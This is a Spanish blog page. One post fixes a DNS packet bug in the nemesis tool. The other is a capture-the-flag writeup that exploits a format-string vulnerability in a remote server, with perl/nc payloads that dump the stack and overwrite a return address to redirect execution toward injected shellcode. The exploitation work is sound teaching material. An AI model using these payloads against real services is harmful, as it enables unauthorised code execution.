viernes, 14 de octubre de 2011

Instalando, usando y parcheando nemesis

Nemesis es una aplicación de creación de paquetes de red. Nos permite crear a nuestro gusto (dentro de unos límites) paquetes de red e inyectarlos a la red. Actualmente su desarrollo está parado pero sigue siendo una herramienta muy buena para curiosear con las redes y el tráfico, se puede conseguir aquí.

Está construida sobre la libnet, la biblioteca básica de inyección de tráfico (aunque a mi no me llega a convencer del todo, prefiero PF_PACKET).

Ayer quería jugar un poco con nemesis, así que me baje el código fuente y, como especifica la web, busqué por internet el código de la libnet-1.0.2a, que es la que usa nemesis. Libnet, a la hora de escribir estas líneas va por la version 1.1.4 si no me equivoco, y no tiene compatibilidad hacia atrás.

Para instalar la libnet lo propio, ./configure, make, sudo make install. El problema vino al instalar nemesis, ./configure decía que no encontraba la libnet. Probé a jugar con los argumentos --with-libnet-include y --with-libnet-libraries pero no logré que la detectara. Al cabo de un rato me di cuenta que era porque ya tenía instalada la última versión (en los repos de Debian libnet1-dev) y la versión anterior no sobreescribió, ni tampoco soltó ningún mensaje. Esto lo descubrí analizando la salida del sudo make install de la libnet.

Después de cargarme la libnet que tenía y reinstalar la 1.0.2a logré que nemesis se instalara sin problemas y empecé a jugar con él (o sea, a leer manual).

Llegué a un punto en que me encontraba un fallo y no tenía muy claro si era mio o de nemesis. La situación era la siguiente, yo quería crear una pregunta DNS e inyectarla a la red, para ello ejecutaba nemesis de la siguiente manera (preguntando por ulpgc.es):


$ perl -e 'print "\x05ulpgc\x02es\x00\x00\x01\x00\x01"' > query.raw; sudo nemesis dns -dlo -g256 -q1 -P query.raw

Como contrapartida tengo que decir que DNS no está completamente soportado por nemesis y que hay que usar un fichero de payload que contenga parte del paquete DNS bien construido, una pena. Además lo que sí está soportado no lo está correctamente, por ejemplo nemesis-dns tiene el parámetro "-g" para poner el valor de flags que queramos, sin embargo en DNS no existe ningún campo "flags", el RFC 1035 especifíca el flag QR, el campo Opcode, los flags AA, TC, RD, RA, y los campos Z y el RCODE concretamente en lo que nemesis entiende "flags". Los que han trabajado conmigo saben que soy muy estricto con estas cosas... y más con DNS (no Héctor? ;).

Cuando hayamos inyectado el paquete en la red y lo analicemos con wireshark veremos esto:

Si analizamos byte a byte todo el mensaje DNS (RFC en mano) veremos que está bien construido y sin embargo wireshark nos dice "Malformed packet". Mirando la cabecera UDP veremos que el campo Length vale 8, el RFC 768 especifica que el campo Length debe ser el tamaño en bytes de la cabecera UDP más el payload que lleva, en nuestro caso el mensaje DNS. Así pues nemesis o libnet (linux lo descarto) están creando mal el paquete.

Después de un ratillo mirando el código de nemesis llegué al sitio del problema, fichero nemesis-proto_dns.c:

92     if (state == 0)
93     {
94         libnet_build_udp(udp->uh_sport, udp->uh_dport, NULL,0
95                 pkt + link_offset + LIBNET_IP_H);
96     }

Es aquí donde nemesis le pide a la libnet que cree la cabecera UDP, sin embargo siempre le dice que no hay payload (NULL, 0) aunque no sea así. Más tarde nemesis si que pone el payload pero ya el campo Length de UDP estará mal generado. La solución es cambiar estas líneas por:

92     if (state == 0)
93     {
94         libnet_build_udp(udp->uh_sport, udp->uh_dport, NULL, LIBNET_DNS_H + pd->file_s,
95                 pkt + link_offset + LIBNET_IP_H);
96     }

Recompilamos y ya nemesis generará paquetes DNS sin el bug antes mencionado. He escrito un mail al autor (Jeff Nathan) con el parche, lo que no estoy seguro de si lo verá ya que como comentaba al principio, nemesis lleva bastantes años parados, una pena, es una buena herramienta.

sábado, 17 de septiembre de 2011

Writeup level5 del wargame de la NoCon Name 2011

Este es el último nivel y el más difícil de todos con bastante diferencia. Nos conectamos y vemos el típico binario y su fuente. Al ejecutarlo vemos que se queda escuchando en el puerto 12345.

$ ./level5
port: 12345

Si probamos a enviarle cosas nos las imprime en la consola del server, no en la del cliente. Desde otra consola (en nuestro ordenador físico por ejemplo):

$ nc 192.168.169.128 12345
str: hola
thnx
$

En la consola del servidor ahora vemos (OJO! no es que hayamos vuelto a ejecutar level5, ya lo ejecutabamos de antes, lo ponemos para que sea más clarificador todo lo que se ve en la consola del server):

$ ./level5
port: 12345
hola

Ya tenemos una ligera idea de que va el nivel, una explotación en remoto. Ahora pasemos al código fuente. Al analizarlo nos llama la atención unas cuantas cosas. La primera pero no la más importante es que te avisa de que efectivamente se supone que es una explotación en remoto y por consiguiente no deberías poder ver el /proc de la máquina donde se está ejecutando el server. Al no poder acceder al /proc hay unas cuantas cosas que no podríamos saber del proceso.

Otra cosa que nos llama la atención es que hay unas cuantas funciones que están declaradas e implementadas pero que no se llaman nunca, como por ejemplo get_urand(). Ya veremos si más adelante hace falta usarlas.

Lo que más nos debe llamar la atención es la vulnerabilidad que vamos a explotar, existe una función dovuln con lo siguiente:

int dovuln(char *buf)
{
   printf(buf);
   return 0;
}

Se trata una explotación de "format string attack". El programador está imprimiendo directamente la string que le estamos pasando por el socket. Lo correcto hubiera sido poner printf("%s", buf). Debido a esto podemos usar directivas de formato de la familia de funciones printf() para explotar el programa.

Analizando más el código fuente veremos que ese buf está en heap y no en el stack. Es reservado mediante malloc() en la función anterior a dovuln(), handle() y que tiene un tamaño de 1024 bytes contando el '\0' que el propio programa pone. La lectura a su vez con el recv() especifíca 1024-1 bytes a leer, lo que quiere decir que no hay BoF.

Si empezamos a analizar el binario con el gdb nos vamos a llevar dos sorpresas:

$ gdb -q level5
Leyendo símbolos desde /media/penole_/wargames/nocon_name_2011/level5/level5...hecho.
(gdb) disas dovuln
Dump of assembler code for function dovuln:
   0x00000fab <+0>:    push   %ebp
   0x00000fac <+1>:    mov    %esp,%ebp
   0x00000fae <+3>:    sub    $0x8,%esp
   0x00000fb1 <+6>:    mov    0x8(%ebp),%eax
   0x00000fb4 <+9>:    mov    %eax,(%esp)
   0x00000fb7 <+12>:    call   0xfb8 <dovuln+13>
   0x00000fbc <+17>:    mov    $0x0,%eax
   0x00000fc1 <+22>:    leave 
   0x00000fc2 <+23>:    ret   
End of assembler dump.
(gdb)

La primera es buena, el binario tiene información de depuración ya que logra leer símbolos, lo dice en la primera línea después de ejecutar gdb. Esto la mayoría de las veces no nos damos cuenta porque estamos condicionados, pero si no hay información de depuración lo que gdb dice es "Leyendo símbolos desde <binario a depurar>...(no se encontraron símbolos de depuración)hecho.".

Por otro lado hay una mala sorpresa. Al desamblar dovuln() para ver un poco cómo lo hace todo vemos algo raro, el call ese en dovuln+12. hace una llamada a dovuln+13?! WTF!, pero si ni siquiera dovuln+13 es una instrucción de verdad, está partido entre los bytes del propio call y quizás del mov. Si miramos otros calls de otras funciones veremos que se repite. Además también nos fijamos en las direcciones que aparecen al lado de las instrucciones. Una persona familiarizada con el reversing en sistemas UN*X tendrá grabado a fuego en el cerebro (cosa que a veces es malo porque crea malos hábitos... como lo de la información de depuración), que el código de un programa siempre se situa por las direcciones 0x0804XXXX más o menos, que un poco más abajo están los datos, que la pila suele estar en 0xbfffXXXX, etc... De hecho si miramos con readelf/objdump las secciones de un programa normal veremos lo siguiente:

$ objdump -h /home/level3/level4
...
 13 .text         0000025c  08048440  08048440  00000440  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         0000001c  0804869c  0804869c  0000069c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000073  080486b8  080486b8  000006b8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame     00000004  0804872c  0804872c  0000072c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .ctors        00000008  08049730  08049730  00000730  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 18 .dtors        00000008  08049738  08049738  00000738  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .jcr          00000004  08049740  08049740  00000740  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .dynamic      000000d0  08049744  08049744  00000744  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .got          00000004  08049814  08049814  00000814  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got.plt      00000030  08049818  08049818  00000818  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .data         00000008  08049848  08049848  00000848  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .bss          0000000c  08049850  08049850  00000850  2**2
                  ALLOC
...

Vemos que efectivamente la sección .text (el código) en este caso cae en 0x0848440, la sección .data (datos inicializados) cae un poco más abajo 0x08049848... Una aclaración antes de seguir, los términos "arriba" y "abajo" cuando se está con reversing son muy controvertidos. Hay gente que considera que la pila está "arriba" y otras que la pila está "abajo". Los famosos libros de arquitectura de computadores, reversing, assembler, etc... también cada autor lo trata como quiere. En nuestro caso vamos a representarnos la memoria con las direcciones más bajas (0x0, 0x1, /etc...) "arriba" y las direcciones altas "abajo", puede sonar lioso pero todo es hacerse a la norma. Así que cuando use expresiones de "la variable X está más arriba que la variable Y" se debe entender que "la variable X está en una posición de memoria más baja que la variable Y", y viceversa.

Volviendo al binario level5, entonces por qué en este binario las direcciones no siguen este patrón tan común. La respuesta la tenemos con lo siguiente:

$ readelf -h level5
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0xb60
  Start of program headers:          52 (bytes into file)
  Start of section headers:          7028 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         7
  Size of section headers:           40 (bytes)
  Number of section headers:         37
  Section header string table index: 34

El tipo del binario es DYN, no EXEC (como es el caso más común). Eso quiere decir que se ha compilado para que sea un binario tipo PIE (Position Independant Executable) con algo como "gcc -fPIE -pie -o level5 level5.c". Es decir, que las direcciones de los datos y código no estén grabadas a fuego en el binario, sino que sea el enlazador (ld), junto con el sistema, en el momento de cargar el binario en memoria decidan dónde van a estar todas las cosas. Este es el formato típico de las bibliotecas dinámicas, si le echamos un ojo a la libc veremos lo siguiente:

$ readelf -h /lib/libc-2.11.2.so
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x16dd0
  Start of program headers:          52 (bytes into file)
  Start of section headers:          1316456 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         10
  Size of section headers:           40 (bytes)
  Number of section headers:         68
  Section header string table index: 67

Vemos que también es de tipo DYN. Alguno se puede preguntar, y para que nos han soltado todo este rollo? Bueno pues resulta que el gdb que hay instalado en la máquina virtual es la versión:

$ gdb --version
GNU gdb (GDB) 7.0.1-debian
...

Y es a partir de la versión 7.1 de gdb dónde se ha incluido el soporte para depurar binarios PIE, lo que quiere decir que no podremos usar gdb para depurar level5. De hecho si lo intentamos obtenemos lo siguiente:

(gdb) br *dovuln
Breakpoint 1 at 0xfab
(gdb) run
Starting program: /home/level4/level5
Warning:
Cannot insert breakpoint 1.
Error accessing memory address 0xfab: Input/output error.

(gdb)

En nuestro caso concreto se nos ocurrió dos cosas, la primera y que fue la que hicimos fue llevarnos el binario y el fuente al ordenador físico donde teníamos la versión 7.2 de gdb y sí podíamos depurar la ejecución. La idea era hacer todo el análisis y la explotación en local y luego intentar llevarla a cabo en remoto. La otra opción es intentar instalar una versión de gdb 7.1+ en la máquina virtual. En nuestro caso concreto, más adelante hicimos un intento pero no funcionó rápidamente y tampoco queríamos gastar mucho tiempo en ello, hay unos cuantos problemas a la hora de hacerlo.

Seguimos para adelante. A partir de ahora vamos a estar a dos bandas, por un lado depurando en nuestra máquina local así que todas las referencias a memoria que hagamos aquí probablemente cambien en otra máquina, lo que quiere decir que los números que mostremos durante las pruebas y explotaciones haya que modificarlos para que cuadren en otro lado. También entendemos que el lector tiene conocimientos decentes de lo que son las format strings de la familia de funciones printf() y que sabe al menos en teoría lo que es un format string attack y cómo, más o menos, explotarlo. También queremos aclarar que todo lo que aquí exponemos y que parecen saltos lógicos a la hora de realizarlos y de estar haciendo el análisis no ha sido todo tan rápido, nos hemos estado mucho tiempo con este nivel (mucho más que con el anterior).

Lo primero va a ser mirar un poco cómo está la pila justo antes de imprimir en dovuln():

(gdb) set follow-fork-mode child
(gdb) disas dovuln
Dump of assembler code for function dovuln:
   0x00000fab <+0>:    push   %ebp
   0x00000fac <+1>:    mov    %esp,%ebp
   0x00000fae <+3>:    sub    $0x8,%esp
   0x00000fb1 <+6>:    mov    0x8(%ebp),%eax
   0x00000fb4 <+9>:    mov    %eax,(%esp)
   0x00000fb7 <+12>:    call   0xfb8 <dovuln+13>
   0x00000fbc <+17>:    mov    $0x0,%eax
   0x00000fc1 <+22>:    leave 
   0x00000fc2 <+23>:    ret   
End of assembler dump.
(gdb) br *dovuln+12
Punto de interrupción 1 at 0xfb7
(gdb) run
Starting program: /home/ole/level5
port: 12345
[Nuevo process 19015]
[Cambiando a process 19015]

Breakpoint 1, 0x00110fb7 in dovuln ()
(gdb) x /10xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
0xbffff370:    0x00000000    0x00000000
(gdb) x /s 0x00113008
0x113008:     "hola\n"
(gdb) x /i 0x0011104f
   0x11104f <handle+140>:    movl   $0x0,0xc(%esp)
(gdb)

Aquí podemos ver dónde está situada la string que le pasamos en el heap (0x00113008) y la dirección de retorno de dovuln (0x0011104f). Nuestro objetivo va a ser el de siempre, intentar sobreescribir la dirección de retorno para que salte a nuestra shellcode. Evidentemente la shellcode la inyectaremos en la string que le pasamos al programa, es decir querremos cambiar 0x0011104f por 0x00113008 o una dirección más o menos cercana e inferior ya que podremos inyectar también un NOPSLED. ¿Cómo lo vamos a hacer?.

Normalmente cuando una string que permite hacer un format string attack se encuentra en la pila, una técnica consiste en ver cuál es la dirección de la dirección de retorno (cómo ésto es lioso voy vamos a referirnos a "la dirección de retorno como ret"), hardcodearla en nuestra string y acceder a ella mediante suficientes conversiones en nuestra string. Ejemplo rápido, esta es la pila de un programa con la vulnerabilidad:

----------------------
| dir nuestra cadena | <-- Parámetro para printf(omg), nótese que omg es la variable que contiene nuestra cadena
----------------------
|     saved ebp      |
----------------------
|        ret         | <-- La dirección esta es 0x01ec0ded.
----------------------
|                    |
|       basura       | <-- Supongamos 8 bytes de basura (cosas que no nos interesan).
|                    |
----------------------
|   nuestra cadena   | <-- Los bytes de nuestra cadena. OJO! no tiene por qué ser 4 bytes, pueden ser más.
----------------------

Si en esta situación pasáramos la string "\xed\x0d\xec\x01%5$n", lo que pasaría sería que printf escribiría los 4 primeros caracteres (aparecería basura en la pantalla pero esos 4 bytes si nos fijamos son la dirección donde está ret) y luego aplicaría el %5$n, lo que ocasiona que en la dirección a la que apunta el quinto parámetro de printf después de la cadena de formato (en definitiva, el sexto parámetro) se guarden el número de caracteres impresos hasta ese momento (se guarda un 4). Pero cuál es el quinto parámetro? pues los 4 primeros bytes de nuestra string... que apuntan a ret... con lo que sobreescribiríamos ret con un 4.

En esto es en lo que se basan los format string attacks cuando nuestra string está en pila. Es posible que muchos no conozcan bien todas las opciones que ofrecen las format strings, el %5$n puede resultar bastante raro, para aclararlo un poco (si es que lo logramos) hay que saber que %n es una construcción que lo que hace es guardar %n en la posición de memoria a la que apunta el parámetro que le corresponde el número de caracteres impresos hasta ese punto. Por otra parte las format strings ofrecen un mecanismo conocido como Direct Parameter Access (DPA) que permite a una directiva de format (%algo) acceder a cualquiera de los parámetros del printf, así por ejemplo %3$d imprimirá el entero que hay en el cuarto parámetro a printf(). En general su formato es %<n>$<caracter de conversion>. Esto junto con las otras opciones que puede llevar la directiva de conversión se vuelve más lioso, pero la tenemos que conocer y manejar con soltura, al menos hasta esta profundidad, %<n>$<caracter de relleno><longitud mínima><caracter de conversión>. Con esto se imprime el n-ésimo+1 parámetro de printf() como un <lo que indique el caracter de conversión> con al menos <longitud mínima> caracteres usando <caracter de relleno> para llegar a esa longitud mínima si fuera necesario. Ejemplo %5$08x, imprime el sexto parámetro de printf() como un entero en hexadecimal con al menos longitud 8 usando el caracter '0' para llegar a longitud 8 si fuera necesario.

No queremos explicar cómo explotar un format string attack desde 0 porque para eso ya hay muy buenos papers por internet de gente mucho más profesional que nosotros, pero al menos dar un mínimo de orientación para hacer al texto lo más autocontenido posible.

Volviendo a level5. Aunque hay una vulnerabilidad de format string attack, no podemos explotarla tan directamente como hemos explicado porque nuestra string se encuentra en el heap, y no en la pila. Esto no sería un problema si no fuera porque el heap se encuentra encima de la pila y la técnica de DPA no permite acceder a posiciones negativas... no se pude hacer %-4$n }:), una pena jejeje.

Lo concluido es que sólo podemos reescribir aquellas posiciones de memoria que ya vengan señaladas por algún valor en la pila. Es decir, si la pila contiene los valores X, Y y Z, da igual si de manera continuada o no, si están en el frame de la función que se ejecuta o no, podremos escribir las posiciones de memoria X, Y y Z.

Ahondando un poco más en nuestro objetivo, vamos a ampliarlo un poco, hemos dicho que es sobreescribir la dirección de retorno. Realmente nos serviría con sobreescribir UNA dirección de retorno. No tiene por qué ser la más inmediata (dovuln a handle), sino que puede ser la siguiente (handle a loop) o incluso a más profundidad. Esto tiene una pequeña limitación. Si alguna de las funciones ejecuta exit(), el programa no retornará más a partir de ese punto (exit() le pide al sistema que termine con el proceso... un suicidio acelerado). Esta limitación se da en cierto punto. Si miramos el código del programa veremos:

int loop(int ssock)
{
        int csock, pid;
        struct sockaddr_in caddr;
        socklen_t clen = sizeof caddr;

        while(1)
        {  
                csock = accept(ssock, (struct sockaddr *) &caddr, &clen);
                if(csock == -1) { perror("accept()"); continue; }

                pid = fork();
                if(pid == -1) { perror("fork()"); continue; }

                if(pid == 0) { close(ssock); handle(csock); exit(0); }
                else close(csock);

        }  

   return 0;
}

Que la función loop ejecuta un exit() después de ejecutar handle(). Esto significa que podemos sobreescribir la dirección de retorno de dovuln, la de handle pero la de loop no. Bueno, realmente sí que podemos pero no nos va a servir para saltar luego ahí porque el exit() terminará con el proceso antes.

Si volvemos a analizar la pila (aprovechamos para recordar que esta depuración se está haciendo en la máquina física, si llegamos a encontrar una técnica para explotar el programa, a la hora de intentarlo en la máquina virtual habrá que cambiar ciertas cosas, direcciones de memoria principalmente):

(gdb) x /32xw $esp
0xbffff350:    0x00113008    0xb7f8330b    0xbffff388    0x0011104f
0xbffff360:    0x00113008    0x00113008    0x000003ff    0x00000000
0xbffff370:    0x00000000    0x00000000    0xb7fc8ff4    0xb7fc8ff4
0xbffff380:    0x00000000    0x00113008    0xbffff3c8    0x00110ea7
0xbffff390:    0x00000006    0xbffff3b0    0xbffff3ac    0xb7fc8ff4
0xbffff3a0:    0x00000000    0x00000000    0xbffff3c8    0x00000010
0xbffff3b0:    0x95bb0002    0x0100007f    0x00000000    0x00000000
0xbffff3c0:    0x00000006    0x00000000    0xbffff3f8    0x001110f5
(gdb) info stack
#0  0x00110fb7 in dovuln ()
#1  0x0011104f in handle ()
#2  0x00110ea7 in loop ()
#3  0x001110f5 in main ()
(gdb)

Podemos ir tomando nota de las direcciones de los rets que nos puede interesar sobreescribir: 0xbffff35c (de dovuln a handle), 0xbffff38c (de handle a loop). Si consiguieramos que en la pila apareciera alguno de estos valores podríamos aprovecharnos de la format string para usar %n con ese valor. Vemos que hay valores cercanos pero no hay ninguno que apunte directamente a una dirección de retorno (menuda coña nos habríamos marcado si así fuera!).

Aquí es donde se encuentra uno de los momentos de más creatividad del nivel (al menos haciendo lo que estamos haciendo). Tenemos que analizar lo más que podamos de la pila, no importa incluso si acabamos poniendo el puntero a una dirección de retorno terriblemente lejos de la cima, nos basta con que esté en algún lado. En este momento hay que empezar a analizar el programa y ver cuales son todas las entradas al mismo que el usuario puede controlar. Hay una evidente y que ya hemos hablado, nuestra string, es la entrada más directa al programa, son bytes que nosotros le metemos, ¿pero hay más entradas?, ¿hay algún valor en pila que nosotros podamos tocar a nuestro antojo o al menos influir en él?. Pues la respuesta, menos mal, es SÍ, y aquí está lo gracioso, ve el lector el 0x0100007f situado en la posición 0xbffff3b0? Le dice algo? a nosotros nos dice 127.0.0.1 :). Efectivamente, es la dirección IP de la máquina cliente (la atacante). Este valor es pusheado a la pila cuando dos funciones antes (en loop()) el cliente se conecta y la llamada a accept() rellena los parámetros correspondientes con la información del cliente:

while(1)
{  
        csock = accept(ssock, (struct sockaddr *) &caddr, &clen); <--- ZAS! EN TODA LA BOCA!
        if(csock == -1) { perror("accept()"); continue; }

Aquí hay datos que controlamos nosotros, la dirección IP y el puerto concretamente. Aunque en nuestro caso no vamos a utilizar el puerto. Algunos ya se imaginarán por dónde van los tiros, otros quizás piensen "pero la dirección IP no la controlamos nosotros sino que ya tenemos la que tenemos". Como dijo Arquímedes "Dadme una cuenta de root y moveré el mundo!" (no es así?). El ordenador físico es nuestro y nos lo f0114m05 (nótese la censura h4x0r!) cuando queramos. Pues bien, vamos a hacer lo siguiente sin explicarlo mucho y veamos el resultado

- Primero apagamos VMware entero, no sólo la máquina virtual.
- Como la interfaz que utiliza VMware cuando una máquina virtual está configurada como NAT es la vmnet8 nos vamos a /etc/vmware/vmnet8/dhcpd.
- Editamos el fichero dhcpd.conf:

###### VMNET DHCP Configuration. Start of "DO NOT MODIFY SECTION" #####
# Modification Instructions: This section of the configuration file contains
# information generated by the configuration program. Do not modify this
# section.
# You are free to modify everything else. Also, this section must start
# on a new line
# This file will get backed up with a different name in the same directory
# if this section is edited and you try to configure DHCP again.

# Written at: 09/07/2011 14:29:58
allow unknown-clients;
default-lease-time 1800;                # default is 30 minutes
max-lease-time 7200;                    # default is 2 hours

subnet 44.252.255.0 netmask 255.255.255.0 { <--- Tocamos aquí
   range 44.252.255.10 44.252.255.15;       <--- y aquí
   option broadcast-address 44.252.255.255; <--- y aquí
   option domain-name-servers 44.252.255.2; <--- y aquí
   option domain-name localdomain;
   default-lease-time 1800;                # default is 30 minutes
   max-lease-time 7200;                    # default is 2 hours
   option routers 44.252.255.2; <-- aquí también
}
host vmnet8 {
   hardware ethernet 00:50:56:c0:00:08;
   fixed-address 44.252.255.191;        <--- Pero sobre todo aquí y con este número concretamente
   option domain-name-servers 0.0.0.0;
   option domain-name "";
   option routers 0.0.0.0;
}
####### VMNET DHCP Configuration. End of "DO NOT MODIFY SECTION" #######

- Me encantan los avisos de "DO NOT MODIFY SECTION", que majos... una pena no saber inglés. Cambiamos la subred en la que estaba dando direcciones el DHCP de VMware por las que tenemos ahí por ejemplo, realmente lo importante es asegurarnos que a nuestro ordenador le va a asignar la dirección IP 44.252.255.191.
- Reiniciamos el servicio porque si no VMware no leerá la nueva configuración y nos seguirá dando las direcciones anteriores:

ole@pc-ole:/etc/vmware/vmnet8/dhcpd$ sudo service vmware restart
...
   Virtual ethernet                                                    done
   Shared Memory Available                                             done
$

- Un detalle a tener en cuenta es que la opción "Virtual ethernet" debe decir "done" y no "failed". Si nos pone failed es que hemos editado mal el fichero... y VMware no va a decir ni pío.

- Arrancamos la máquina virtual (le asignará la dirección 44.252.255.10) y pedimos dirección IP en la interfaz correspondiente:

$ sudo dhclient vmnet8
...
DHCPREQUEST of 44.252.255.191 on vmnet8 to 255.255.255.255 port 67
DHCPACK of 44.252.255.191 from 44.252.255.15
bound to 44.252.255.191 -- renewal in 803 seconds.

- Quizás tendremos que esperar un poco porque al principio nuestro ordenador intentará obtener la última dirección que tuvo, el DHCP le responderá con un DHCPNAK y unos segundos más tarde ya pedirá alguna dirección IP y nos dará la que queremos.

Bien, una vez realizados estos pasos vamos a seguir por donde ibamos. Esta vez vamos directamente a atacar al servidor en la máquina remota (no en local como hemos estado haciendo hasta ahora) y vamos a pedirle que nos imprima unos cuantos valores de la pila, así de paso refrescamos lo que hablamos antes de las format strings:

$ $ ./ignorante_de_la_vida
port: 12345

Ejecutamos el servidor en la máquina virtual (leer la NOTA 1 para entender el por qué de "ignorante_de_la_vida". Y ahora desde la máquina física le pedimos que nos imprima un poco de la pila:

$ perl -e 'print "0x%08x\n"x30' | nc 44.252.255.10 12345

Y esto es lo que nos escupe el servidor:

0xbffffc30  <-- Llamémosle 1 (un nombre elegido aleatoriamente)
0xbffffc58  <-- Llamémosle 2 (un nombre elegido aleatoriamente + 1)
0xb7fff04f  <-- Adivina...
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98  <-- 14
0xb7ffeea7  <-- 15
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c  <-- 25
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8  <-- 30

So interesting... Vamos a explicar un poco lo que aquí se ve. Le hemos mandado al server la string "0x%08x\n" repetida 30 veces. Al tener la vulnerabilidad de format string attack printf(buf), lo que va a ocurrir es que se imprimirán los parámetros 2, 3, ... 31 de printf. Tal cuál funciona el paso de parámetros en C estos parámetros deberían estar en ebp+8, ebp+c, ebp+10, ... del frame printf. Cuando dovuln() llama a printf() lo primero que se hace es pushear la dirección de retorno, luego salvar el ebp del frame de dovuln() y ya luego hacer su trabajo. Los parámetros a cualquier función se deben poner en la pila justo antes de la llamada y de forma que el parámetro 1 sea el más alto de todos, debe estar en ebp+8, el segundo el siguiente en ebp+c, y así sucesivamente (en bibliografía que hable sobre esto a veces lo llamarán pushear al revés, primero el último parámetro). Sin embargo printf realmente sólo tiene un parámetro, buf la dirección de nuestra string, pero printf no lo sabe así que al tener en nuestra string directivas de formato %x printf() accederá a los valores que hay en ebp+8, etc... como si los hubiera, por lo tanto nos estará mostrando la pila. Esto es típico de los format string attacks.

Después de un análisis de lo que ahí vemos nos daremos cuenta de que 0xbffffc58 es el saved ebp del frame de handle() (lo que llamamos 2), 3 es la dirección de retorno de dovuln(), 4 y 5 es la dirección a nuestra string, 14 es el saved ebp de del frame de loop(), 15 es la dirección de retorno de handle() y 25 es NUESTRA DIRECCION IP :). 44.252.255.191 es en hexadecimal 0x2cfcffbf, y como el endian de internet es big-endian (a diferencia que en x86 donde el endian es little-endian) dándole la vuelta obtenemos 0xbffffc2c. Y que importa? Bien, vamos a hacer un pequeño calculo:

- No sabemos la dirección del ret de 3, pero sabemos como funciona la pila, 2 es la dirección del anterior ebp, que a su vez apunta al aaaaaanterior saved ebp.
- Por el parecido de las direcciones se nota que el aaaaaanterior saved ebp es 14, lo que quiere decir que esa dirección es 2... la dirección de 14 es 2.
- Contando hacía arriba obtenemos que 3 está en la dirección... 0xbffffc2c!!! VAYA QUE CASUALIDAD! Hemos conseguido que nuestra dirección IP "casualmente" tenga el mismo valor que la dirección donde se guarda el ret de dovuln() }:-).

Bueno, pues ahora valiéndonos del format string attack y de este valor PODEMOS SOBREESCRIBIR LA DIRECCIÓN DE RETORNO!:

$ perl -e 'print "PWNED!" . "%25\$n"' | nc 44.252.255.10 12345

Con esto lo que haremos será escribir en la dirección de retorno el valor 6, la cantidad de caracteres que ocupa "PWNED!".

0xbffffc30
0xbffffc58
0x00000006  <-- Magia potagia!
0xb8001008
0xb8001008
0x000003ff
0x00000000
0x00000000
0x00000000
0xb7fd5ff4
0xbffffc98
0xb7fd5ff4
0xb8001008
0xbffffc98
0xb7ffeea7
0x00000004
0xbffffc80
0xbffffc7c
0xb7fd5ff4
0x00000000
0x00000000
0xbffffc98
0x00000010
0x01850002
0xbffffc2c
0x00000000
0x00000000
0x00000004
0x00000000
0xbffffcc8

Entonces cuando dovuln() termine y retorne no se volverá a la siguiente instrucción al call que la llamo, sino la a dirección 6 y el hilo acabará en un bonito Segmentation Fault (que no veremos) porque esa dirección no es legible. Ya hemos conseguido el primer objetivo, conseguir cambiar el flujo de ejecución del programa. Ahora tenemos que conseguir hacer algo útil.

Lo primero que se nos viene a la mente es "hey! y porque no escribimos un MONTOOOOOOOOOOOOOOOOOOÓN de caracteres, concretamente 0xb8001008 en total }:-)", por supuesto ademas lo primero que le pasaremos a nuestra string será una bonita shellcode. La del nivel anterior mismo, consultar el writeup de level4 para ver qué técnicas debe implementar la shellcode y un ejemplo de shellcode. Dicho y hecho, vamos a imprimir hasta la muerte.

$ perl -e 'print `cat shellcode` . "%03087011798x" . "%25\$n"' | nc 44.252.255.10 12345

0xb8001008 en decimal es 3087011848 que menos los 50 bytes que se imprimen de nuestra shellcode son 3087011798. Primer problema, cuando ejecutamos esto comprobaremos que el servidor no hace nada. No imprime nada. Simplemente se queda corriendo como si nada hubiera llegado. Analizando y depurando acabamos concluyendo que se trata de una limitación de vfprintf(). Vfprintf() es la función primigenea de todas las de la familia printf(), todas las demás no son mas que wrappers que acaban llamando a vfprintf(). Resulta que no se puede pedir que se impriman de longitud más de 0x08ffXXXX caracteres (especificamos XXXX porque cuando ibamos comprobando decidimos parar y no llegar a saber cuál es la cantidad exacta de bytes que se pueden llegar a imprimir, con 0x08ffXXXX nos bastaba para lo que queríamos).

Más adelante se nos ocurriría probar a en vez de imprimir un número con muchísima longitud probar a imprimir varios números de menor longitud... suena un poco descabellado pero hasta que no se prueba no se sabe. Hicimos lo siguiente:

$ perl -e 'print `cat shellcode` . "%0134221782x" . "134217728"x22 . "%25\$n"' | nc 44.252.255.10 12345

